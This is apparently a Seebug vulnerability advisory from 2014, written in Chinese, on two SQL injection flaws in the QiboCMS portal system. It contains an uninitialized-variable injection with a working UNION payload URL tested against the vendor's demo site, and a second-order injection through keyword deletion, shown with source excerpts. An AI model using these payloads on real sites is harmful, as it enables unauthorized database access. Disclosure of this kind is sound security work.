qibocms地方门户系统注入一个问题(demo测试)

2014-10-29T00:00:00
ID SSV:94192
Type seebug
Reporter Root
Modified 2014-10-29T00:00:00

Description

简要描述:

一周4个小时的假期也够苦的。 life5.qibosoft.com 听说一般应用。 注入 && 另外一个问题。

详细说明:

if(ereg("^([-_0-9a-zA-Z]+)$",$_GET[jobs])){ //不读数据库 if(is_file(dirname(__FILE__)."/../inc/job/$_GET[jobs].php")){ include(dirname(__FILE__)."/../inc/job/$_GET[jobs].php"); } }elseif(ereg("^([-_0-9a-zA-Z]+)$",$_GET['job'])||ereg("^([-_0-9a-zA-Z]+)$",$_POST['job'])){ //读数据库 require(dirname(__FILE__)."/"."global.php"); if(ereg("^([-_0-9a-zA-Z]+)$",$job)&&is_file(ROOT_PATH."inc/job/$job.php")){ include(ROOT_PATH."inc/job/$job.php"); } }

包含文件进来。 inc/job/ckreg.php 中

}elseif($type=='yzimg'){ if($db->get_one("SELECT * FROM {$pre}yzimg WHERE $SQL imgnum='$name' AND sid='$usr_sid'")){ die("<img src=$webdb[www_url]/images/default/check_right.gif> <font color=red>验证码输入正确!</font>"); }else{ die("<img src=$webdb[www_url]/images/default/check_error.gif>请输入正确的验证码"); }

这里的$SQL并没有初始化, 结合qibocms的全局机制 可以直接控制这个变量 导致注入。

<img src="https://images.seebug.org/upload/201410/261616473304ec18777b5ef075dd94d3f260b4eb.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">

demo测试: http://life5.qibosoft.com/do/job.php?job=ckreg&type=yzimg&SQL=1=1 union select 1%23 数据库连接出错:SELECT * FROM life5_yzimg WHERE 1=1 union select 1# imgnum='' AND sid='1wmqh6ce' The used SELECT statements have a different number of columns 1222请输入正确的验证码


第二个问题 在wei/member/post.php中

`` elseif($action=="del") { $rsdb=$db-&gt;get_one("SELECT B.*,A.* FROM{$_pre}contentA LEFT JOIN{$_pre}content_1B ON A.id=B.id WHERE A.id='$id'"); if($rsdb[fid]!=$fidDB[fid]){ showerr("栏目有问题"); } if($rsdb[uid]!=$lfjuid&&!$web_admin) { showerr("你无权操作"); } $db-&gt;query("DELETE FROM{$_pre}contentWHERE id='$id' "); $db-&gt;query("DELETE FROM{$_pre}content_1WHERE id='$id' "); $db-&gt;query("DELETE FROM{$_pre}comments` WHERE id='$id' ");

keyword_del($id,$rsdb['keywords']);

```

keyword_del($id,$rsdb['keywords']); 这里是出库来的 所以能引入转义符啥的。

function keyword_del($id,$keyword){ global $db,$_pre; if(!$keyword){ return ; } $detail2=explode(" ",$keyword); foreach( $detail2 AS $key=&gt;$value){ if($value){ $db-&gt;query("UPDATE `{$_pre}keyword` SET num=num-1 WHERE BINARY `keywords`='$value'"); $_rs=$db-&gt;get_one("SELECT kid,num FROM `{$_pre}keyword` WHERE BINARY `keywords`='$value'"); if($_rs[num]&lt;1){ $db-&gt;query("DELETE FROM `{$_pre}keyword` WHERE BINARY `keywords`='$value'"); } $kid=$_rs[kid]; $db-&gt;query("DELETE FROM `{$_pre}keywordid` WHERE `kid`='$kid' AND id='$id'");

可以看到 出库的没过滤 再一次带入到查询当中

<img src="https://images.seebug.org/upload/201410/261630599d83de48a0f911529a42559438695162.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">

首先 关键字中写一些特殊字符 然后入库

<img src="https://images.seebug.org/upload/201410/26163138af7a51bd625e678ea0fbf001abca1197.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">

然后修改。 在点击确认。

<img src="https://images.seebug.org/upload/201410/26163218ace27e76c64146f3be4559ba3d66cd03.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">

出库 造成注入。

漏洞证明:

<img src="https://images.seebug.org/upload/201410/261616473304ec18777b5ef075dd94d3f260b4eb.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">